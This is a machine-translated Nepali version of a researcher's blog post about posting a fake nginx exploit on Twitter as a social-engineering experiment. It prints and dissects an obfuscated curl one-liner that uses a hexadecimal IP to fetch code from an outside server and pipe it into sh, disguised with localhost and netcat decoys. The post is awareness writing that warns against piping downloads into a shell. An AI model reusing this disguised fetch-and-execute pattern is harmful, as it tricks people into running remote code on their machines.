नक्कली nginx शोषणको साथ सामाजिक प्रयोगको सफलता

नोट। अनुवाद।: लेखक जुन १ मा प्रकाशित मौलिक नोटले सूचना सुरक्षामा रुचि राख्नेहरूका बीचमा एउटा प्रयोग गर्ने निर्णय गरेको थियो। यसका लागि, उनले वेब सर्भरमा अज्ञात जोखिमको लागि नक्कली शोषण तयार गरे र यसलाई आफ्नो ट्विटरमा पोस्ट गरे। उहाँका अनुमानहरू - कोडमा स्पष्ट छलकपट देख्ने विशेषज्ञहरू द्वारा तुरुन्तै पर्दाफास गर्न - मात्र सत्य भएन ... तिनीहरूले सबै अपेक्षाहरू पार गरे, र विपरित दिशामा: ट्वीटले धेरै मानिसहरूबाट ठूलो समर्थन प्राप्त गर्यो जसले नगरेको थियो। यसको सामग्री जाँच गर्नुहोस्।

TL; DR: कुनै पनि परिस्थितिमा sh वा bash मा फाइल पाइपलाइन प्रयोग नगर्नुहोस्। यो तपाइँको कम्प्युटर को नियन्त्रण गुमाउन को लागी एक राम्रो तरिका हो।

म तपाईंसँग कमिक PoC शोषणको बारेमा एउटा छोटो कथा साझा गर्न चाहन्छु जुन मे 31st मा सिर्जना गरिएको थियो। समाचारको जवाफमा उनी तुरुन्तै देखा पर्‍यो एलिसा Esage Shevchenko, सदस्य शून्य दिन पहल (ZDI), RCE (रिमोट कोड कार्यान्वयन) लाई NGINX मा एक जोखिमको बारेमा जानकारी चाँडै खुलासा गरिनेछ। NGINX ले धेरै वेबसाइटहरूलाई पावर गरेको हुनाले, समाचार एक बमशेल भएको हुनुपर्छ। तर "जिम्मेवार खुलासा" प्रक्रियामा ढिलाइको कारण, के भयो भन्ने विवरणहरू थाहा भएन - यो मानक ZDI प्रक्रिया हो।

ट्विट NGINX मा जोखिम प्रकटीकरण बारे

कर्लमा नयाँ अस्पष्टता प्रविधिमा काम गरिसकेपछि, मैले मूल ट्विट उद्धृत गरें र "एक काम गर्ने PoC लीक गरेँ" कोडको एकल लाइन समावेश भएको थियो जसले पत्ता लगाएको जोखिमको शोषण गर्दछ। निस्सन्देह, यो पूर्ण बकवास थियो। मैले मानें कि म तुरुन्तै खुलासा हुनेछु, र त्यो राम्रोसँग मैले केहि रिट्वीटहरू प्राप्त गर्नेछु (ओह राम्रो)।

ट्विट नक्कली शोषण संग

तर, त्यसपछि के भयो कल्पना गर्न सकिनँ । मेरो ट्विटको लोकप्रियता आकाशै छोयो। अचम्मको कुरा, यस समयमा (15:00 मस्को समय जून 1) थोरै मानिसहरूले यो नक्कली हो भनेर बुझेका छन्। धेरै मानिसहरूले यसलाई जाँच नगरी रिट्वीट गर्छन् (यसले आउटपुट गर्ने सुन्दर ASCII ग्राफिक्सको प्रशंसा गर्न छोड्नुहोस्)।

हेर त कति सुन्दर छ!

जबकि यी सबै लूपहरू र रंगहरू उत्कृष्ट छन्, यो स्पष्ट छ कि मानिसहरूले तिनीहरूलाई हेर्नको लागि आफ्नो मेसिनमा कोड चलाउनु परेको थियो। सौभाग्यवश, ब्राउजरहरूले उही तरिकाले काम गर्दछ, र यो तथ्यसँग मिलाएर कि म वास्तवमा कानुनी समस्यामा पर्न चाहन्न, मेरो साइटमा दफन गरिएको कोडले कुनै पनि अतिरिक्त कोड स्थापना वा कार्यान्वयन गर्ने प्रयास नगरी इको कलहरू गरिरहेको थियो।

एउटा सानो विषयवस्तु: नेटस्पुकी, dnz, म र टोलीका अन्य केटाहरू ठगको भीड हामीले केही समयको लागि कर्ल आदेशहरूलाई अस्पष्ट पार्न विभिन्न तरिकाहरूसँग खेलिरहेका छौं किनभने यो राम्रो छ... र हामी गीकहरू हौं। netspooky र dnz ले धेरै नयाँ विधिहरू फेला पारे जुन मलाई अत्यन्त आशाजनक लाग्थ्यो। म रमाईलोमा सामेल भएँ र चालहरूको झोलामा IP दशमलव रूपान्तरणहरू थप्ने प्रयास गरें। यो बाहिर जान्छ कि IP लाई हेक्साडेसिमल ढाँचामा रूपान्तरण गर्न सकिन्छ। यसबाहेक, कर्ल र धेरै अन्य NIX उपकरणहरू खुसीसाथ हेक्साडेसिमल आईपीहरू खान्छन्! त्यसोभए यो विश्वस्त र सुरक्षित देखिने कमाण्ड लाइन सिर्जना गर्ने कुरा मात्र थियो। अन्ततः म यो एक मा बसे:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

सामाजिक-इलेक्ट्रोनिक ईन्जिनियरिङ् (SEE) - फिसिङ भन्दा बढी

सुरक्षा र परिचितता यस प्रयोगको प्रमुख भाग थियो। मलाई लाग्छ कि तिनीहरूले उनको सफलताको नेतृत्व गरे। कमाण्ड लाइनले "127.0.0.1" (प्रसिद्ध लोकलहोस्ट) लाई सन्दर्भ गरेर स्पष्ट रूपमा सुरक्षालाई निहित गर्दछ। Localhost सुरक्षित मानिन्छ र यसमा भएको डाटाले तपाइँको कम्प्युटरलाई कहिल्यै छोड्दैन।

परिचितता प्रयोगको दोस्रो प्रमुख SEE घटक थियो। लक्षित दर्शकहरू मुख्यतया कम्प्युटर सुरक्षाको आधारभूत कुराहरूसँग परिचित व्यक्तिहरू समावेश भएको हुनाले, कोड सिर्जना गर्न महत्त्वपूर्ण थियो ताकि यसको भागहरू परिचित र परिचित देखिन (र त्यसैले सुरक्षित)। पुरानो शोषण अवधारणाहरु को तत्वहरु उधारो र एक असामान्य तरिकामा संयोजन धेरै सफल साबित भएको छ।

तल एक-लाइनरको विस्तृत विश्लेषण छ। यस सूचीमा भएका सबै चीजहरू लगाउँछन् कस्मेटिक प्रकृति, र व्यावहारिक रूपमा यसको वास्तविक सञ्चालनको लागि केहि आवश्यक छैन।

के कम्पोनेन्टहरू साँच्चै आवश्यक छन्? यो -gsS, -O 0x0238f06a, |sh र वेब सर्भर आफै। वेब सर्भरले कुनै पनि खराब निर्देशनहरू समावेश गर्दैन, तर केवल आदेशहरू प्रयोग गरेर ASCII ग्राफिक्सहरू सेवा गर्यो echo लिपिमा समावेश छ index.html। जब प्रयोगकर्ताले एक लाइन प्रविष्ट गर्नुभयो |sh बिचमा, index.html लोड र कार्यान्वयन। सौभाग्य देखि, वेब सर्भर को संरक्षकहरु को कुनै खराब इरादा थिएन।

• ../../../%00 - डाइरेक्टरी भन्दा बाहिर जाने प्रतिनिधित्व गर्दछ;
• ngx_stream_module.so - अनियमित NGINX मोड्युलको लागि मार्ग;
• /bin/sh%00<'protocol:TCP' - हामी अनुमानित रूपमा सुरू गर्दैछौं /bin/sh लक्षित मेसिनमा र TCP च्यानलमा आउटपुट रिडिरेक्ट गर्नुहोस्;
• -O 0x0238f06a#PLToffset - गोप्य घटक, पूरक #PLToffset, PLT मा कुनै न कुनै रूपमा समावेश गरिएको मेमोरी अफसेट जस्तो देखिन;
• |sh; - अर्को महत्त्वपूर्ण टुक्रा। हामीले आउटपुटलाई sh/bash मा रिडिरेक्ट गर्न आवश्यक छ जहाँ स्थित आक्रमणकारी वेब सर्भरबाट आएको कोड कार्यान्वयन गर्न। 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - एक डमी जसमा नेटक्याटलाई जनाउँछ /dev/tcp/localhostताकि सबै कुरा फेरि सुरक्षित देखिन्छ। वास्तवमा, यसले केहि गर्दैन र सुन्दरताको लागि लाइनमा समावेश छ।

यसले एक-लाइन लिपिको डिकोडिङ र "सामाजिक-इलेक्ट्रोनिक इन्जिनियरिङ्" (जटिल फिसिङ) को पक्षहरूको छलफललाई समाप्त गर्दछ।

वेब सर्भर कन्फिगरेसन र काउन्टरमेजरहरू

मेरा धेरैजसो सदस्यहरू इन्फोसेक/ह्याकरहरू भएकाले, मैले वेब सर्भरलाई उनीहरूको पक्षमा "चासो" को अभिव्यक्तिको लागि अलि बढी प्रतिरोधी बनाउने निर्णय गरें, ताकि केटाहरूले केही गर्न सकून् (र यो रमाइलो हुनेछ। सेट अप)। म यहाँ सबै कमजोरीहरू सूचीबद्ध गर्न जाँदैछु किनकि प्रयोग अझै जारी छ, तर यहाँ सर्भरले गर्ने केही चीजहरू छन्:

• केही सामाजिक सञ्जालहरूमा वितरण प्रयासहरू सक्रिय रूपमा निगरानी गर्दछ र प्रयोगकर्तालाई लिङ्कमा क्लिक गर्न प्रोत्साहित गर्न विभिन्न पूर्वावलोकन थम्बनेलहरू प्रतिस्थापन गर्दछ।
• शेल स्क्रिप्ट देखाउनुको सट्टा Thugcrowd प्रमोशनल भिडियोमा Chrome/Mozilla/Safari/etc लाई रिडिरेक्ट गर्छ।
• घुसपैठ/स्पष्ट ह्याकिङका स्पष्ट संकेतहरूको लागि हेर्छ, र त्यसपछि NSA सर्भरहरूमा अनुरोधहरू पुन: निर्देशित गर्न थाल्छ (ha!)।
• ट्रोजन, साथै BIOS रूटकिट, सबै कम्प्युटरहरूमा स्थापना गर्दछ जसका प्रयोगकर्ताहरूले नियमित ब्राउजरबाट होस्ट भ्रमण गर्छन् (केवल मजाक गर्दै!)।

एन्टिमरको सानो भाग

यस अवस्थामा, मेरो एकमात्र लक्ष्य Apache को केहि सुविधाहरू मास्टर गर्नु थियो - विशेष गरी, अनुरोधहरू पुन: निर्देशित गर्नका लागि राम्रो नियमहरू - र मैले सोचे: किन होइन?

NGINX शोषण (वास्तविक!)

सदस्यता लिनुहोस् @alisaesage ट्विटरमा र NGINX मा धेरै वास्तविक कमजोरीहरूलाई सम्बोधन गर्न र अवसरहरूको शोषण गर्न ZDI को उत्कृष्ट कामलाई पछ्याउनुहोस्। तिनीहरूको कामले मलाई सधैं मोहित तुल्याएको छ र मेरो मूर्ख ट्वीटको कारणले गर्दा सबै उल्लेख र सूचनाहरूको साथ उनको धैर्यताको लागि म एलिसप्रति कृतज्ञ छु। सौभाग्यवश, यसले केही राम्रो पनि गर्‍यो: यसले NGINX कमजोरीहरू, साथै कर्लको दुरुपयोगको कारणले गर्दा हुने समस्याहरूको जागरूकता बढाउन मद्दत गर्‍यो।

स्रोत: www.habr.com